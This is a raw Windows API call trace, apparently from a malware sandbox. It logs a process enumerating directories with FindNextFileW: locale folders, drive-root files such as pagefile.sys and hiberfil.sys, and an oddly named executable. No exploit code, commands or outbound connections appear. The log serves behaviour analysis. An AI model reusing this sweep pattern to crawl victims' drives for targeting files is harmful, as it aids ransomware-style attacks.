	[0160.745] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0160.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.746] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0160.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.746] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0160.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.747] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0160.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.747] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0160.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.748] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0160.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0160.749] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0160.749] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0160.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.749] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0160.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.751] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0160.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.830] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4cb1305f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0160.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0160.848] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x4e5e5043, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0160.848] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0160.848] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x44702d9e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x44702d9e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0160.849] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0160.849] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9182060, ftCreationTime.dwHighDateTime=0x1d58705, ftLastAccessTime.dwLowDateTime=0xd909ad60, ftLastAccessTime.dwHighDateTime=0x1d56230, ftLastWriteTime.dwLowDateTime=0xd909ad60, ftLastWriteTime.dwHighDateTime=0x1d56230, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="joan packages omissions.exe", cAlternateFileName="JOANPA~1.EXE")) returned 1
	[0160.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0160.851] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0160.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.854] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0160.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.854] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0160.854] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.854] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0160.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.855] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0160.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.855] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0160.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.855] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0160.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.855] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0160.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.857] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0160.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.857] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0160.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.857] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0160.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.858] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0160.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.858] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0160.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.862] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0160.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0160.862] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0161.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0161.126] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0161.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0161.392] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0161.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.439] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0161.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.453] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0161.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.454] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0161.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.454] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0161.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.455] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0161.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.455] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0161.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.456] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0161.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0161.456] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0161.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.456] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
